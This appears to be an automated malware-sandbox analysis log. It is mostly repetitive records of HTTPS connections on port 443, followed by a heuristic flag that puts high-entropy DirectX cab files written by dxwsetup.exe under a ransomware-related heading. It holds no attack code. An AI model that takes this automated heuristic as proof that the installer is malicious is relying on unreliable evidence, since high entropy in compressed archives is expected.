Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50196
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 50253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 50299 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50279
Source: unknown	Network traffic detected: HTTP traffic on port 50265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50282
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50295 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 50228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50273 -> 443

Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50177 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50218 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50240 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50272 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50275 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50284 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50289 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50290 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50299 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CCA19.tmp\Aug2007_d3dx9_35_x86.cab entropy: 7.9991869164	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Aug2007_d3dx9_35_x86[1].cab entropy: 7.9991869164	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Mar2008_d3dx9_37_x86[1].cab entropy: 7.99972380205	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Nov2007_d3dx10_36_x86.cab entropy: 7.99885807363	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CE7D2.tmp\Nov2007_d3dx10_36_x86.cab entropy: 7.99885807363	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Nov2007_d3dx10_36_x86[1].cab entropy: 7.99885807363	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Nov2007_d3dx9_36_x86.cab entropy: 7.99907865291	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CDD52.tmp\Nov2007_d3dx9_36_x86.cab entropy: 7.99907865291	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Nov2007_d3dx9_36_x86[1].cab entropy: 7.99907865291	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Aug2007_d3dx10_35_x86.cab entropy: 7.9986813742	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CD563.tmp\Aug2007_d3dx10_35_x86.cab entropy: 7.9986813742	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Aug2007_d3dx10_35_x86[1].cab entropy: 7.9986813742	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Aug2007_d3dx9_35_x86.cab entropy: 7.9991869164	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Mar2008_d3dx10_37_x86.cab entropy: 7.99894945695	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CFCA2.tmp\Mar2008_d3dx10_37_x86.cab entropy: 7.99894945695	Jump to dropped file
